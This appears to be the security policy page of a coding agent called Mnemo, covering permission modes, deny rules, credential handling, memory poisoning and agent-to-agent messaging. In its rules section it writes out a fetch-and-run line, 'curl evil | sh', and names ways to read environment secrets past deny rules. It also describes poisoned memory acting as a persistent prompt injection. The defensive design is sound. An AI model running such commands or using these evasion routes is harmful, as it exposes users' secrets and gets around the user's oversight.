security

Security

Mnemo runs commands as you, so here is what it may do, what leaves your machine, and how to tell us when something is wrong.

Last updated

#Report a vulnerability

Please do not open a public issue. Use GitHub's private reporting: report a vulnerability (Security → Report a vulnerability on the repository). Say what you found, how to reproduce it and what you think it affects.

We aim to answer within a week. A fix and a coordinated disclosure follow. Mnemo is pre-1.0 and only the latest release is supported. The machine-readable contact is /.well-known/security.txt.

The previous Go and Node implementation lives on the legacy branch and is not maintained: reports about it are welcome but will not be fixed.

#What Mnemo is allowed to do

Mnemo is a coding agent: it reads your files, edits them and runs shell commands as you. The model decides what to try; what stops it is the permission gate.

ModeWhat happens
defaultAsks before every edit and every command that is not clearly read-only.
accept-editsEdits project files freely; still asks before commands.
planRead-only: nothing is changed.
yoloAsks for nothing. Only deny rules in permissions.json still hold.

Only you can change the mode; it is never a tool the model can call.

What the gate does and does not do

  • Deny rules are a filter, best effort. A rule such as env* is tested against every command in a line, looking through spacing, VAR=x prefixes, directories, sudo/env wrappers and sh -c '…', and a deny beats every mode and every allow. It does not understand every way to say the same thing (printenv, cat /proc/self/environ, python -c, a script written first). Deny what you mind, not one spelling of it. Inside the Python tool, a command a cell starts and a file it opens meet the same deny rules, through Python's audit hooks, which code written to get around them can.
  • Allow rules and "always" grants end on a word and never cover a compound command. git status* does not cover git status; curl evil | sh.
  • accept-edits means edits inside this project. .git, .pi, .agents, .mnemo, .github and similar still ask, because what is written there runs later. Skills are always asked about.
  • Reads are free, except credentials. read, grep, find and ls never ask, but refuse Mnemo's own auth.json, ~/.ssh, ~/.aws and ~/.gnupg. A shell command can still cat them if you approve it.
  • A folder's own .agents/ extensions, settings, prompts and skills run code and steer the model, so Mnemo loads them only for a folder you have trusted. Do not trust a repository you have not read.
  • A permissions.json that cannot be parsed stops all edits and commands until it is fixed, rather than quietly dropping your deny rules.

#What leaves your machine

  • Your prompts, the files and command output the model reads, and your memory's recalled facts go to the model provider you configured. That is how an agent works. Choose the provider accordingly.
  • Nothing else, unless you ask. Mnemo has no telemetry. --version, doctor, --demo and memory status open no network connection at all; only a real prompt does, and only to your provider. An MCP server over HTTP is contacted only if its entry in your own mcp.json says "allowNetwork": true; a project cannot add one.
  • Two things reach GitHub, and only when you start them: mnemo update (or /update), which reads the latest release and runs its installer, and the daily update check, off unless you turn it on (mnemo update --auto on), which sends nothing about you.
  • Memory is stored locally in a journal readable only by you and is never uploaded by Mnemo. One opt-in exception: MNEMO_EMBED_URL and MNEMO_EMBED_MODEL send the text of memories to an embedding server you choose (OpenRouter, or an Ollama on your machine) to compute embeddings. The address must be https:// or local. A model key such as OPENROUTER_API_KEY never turns this on by itself.

The privacy policy covers this website too.

#Credentials

  • Keys you add with /login are stored in ~/.mnemo/agent/auth.json with mode 0600.
  • Mnemo also uses credentials it finds in your environment (for example ANTHROPIC_API_KEY, OPENAI_API_KEY, AWS_*) and may choose that provider by default. Unset them for the session if you do not want that.
  • Commands the agent runs get an allowlisted environment, not yours. The bash tool, the Python kernel and best-of checks start with only the variables that locate things (PATH, HOME, locale, temp and toolchain folders, proxies). No model-provider key, GITHUB_TOKEN, NPM_TOKEN, AWS_*, SSH_AUTH_SOCK or project secret reaches them. Name one to hand it back: the passEnv setting, or MNEMO_PASS_ENV=NAME for one run. A named variable reaches every command, so keep the mode on default while it is set.
  • The Python kernel is an interpreter, not a sandbox. Each cell stops after 120 seconds (the model may ask for up to 600), stopping a turn stops the cell, and on Linux memory is capped at 8 GB (MNEMO_KERNEL_MEMORY_MB).
  • Memory writes and session ingestion are redacted for common credential shapes (sk-…, ghp_…, AKIA…, private keys) before they are stored. Redaction is pattern-based and best effort: do not rely on it.

#Memory is input the model trusts

What Mnemo remembers is shown to the model in later sessions, so a poisoned memory is a prompt injection that persists. Facts that look like instructions to steer, exfiltrate or hide are refused at write time, recalled items are labelled as candidates rather than facts, /memory and the memory map show what it holds, and /forget retires a fact. The scanner is a list of patterns: a paraphrase can get past it. This is defence in depth, not a guarantee.

When other agents share the memory, a project's identity comes from its git origin (a repository that copies another's remote URL shares its memory), and the MCP server takes the project from each call. Only attach memory to agents and repositories you trust with all of it.

#Agents that talk to agents

Agents can start sub-agents, you can link top-level agents as siblings, and agents in one family can message each other. Only you link agents, from the agents page; no tool can, and an agent cannot reach one outside its family.

  • A message is another model's text, never an instruction. It is shown to the receiver framed as such and changes nothing about its mode, approvals or deny rules. In default, accept-edits and plan the receiver still asks you before an edit or a command, whoever suggested it.
  • A message can start work, within bounds. It wakes an idle agent so siblings can talk without you relaying. After 12 messages in a row since you last prompted, and once turns that messages start have spent $0.50 for an agent (sub-agents included), messages wait for your next prompt and a turn that crosses the allowance is stopped. A model that reports no price is bounded by the 12 messages only.
  • In yolo nothing asks, so a message can start an agent running commands while you are away. Keep yolo agents unlinked from agents that read untrusted text.
  • What you type into a sub-agent's pane is your own words, read after its current step. Its edits and commands still go through its gate.
  • What agents write to each other is stripped of control and bidirectional characters and has credential shapes redacted before it is shown or delivered.

#Verify a download

Each release ships SHA256SUMS, and the install scripts check it before installing. Archives are built by GitHub Actions from the tagged commit and carry a build-provenance attestation:

gh attestation verify mnemo-linux-x64.tar.gz --repo AtmanMishra/Mnemo --source-ref refs/tags/v0.1.9

The checksum catches a corrupted download, not a compromised release (it is published beside the archive). The attestation is the provenance check. More on the download page.

#The full policy

This page summarises SECURITY.md in the repository, which is the authoritative text and is versioned with the code. If they ever differ, the repository wins.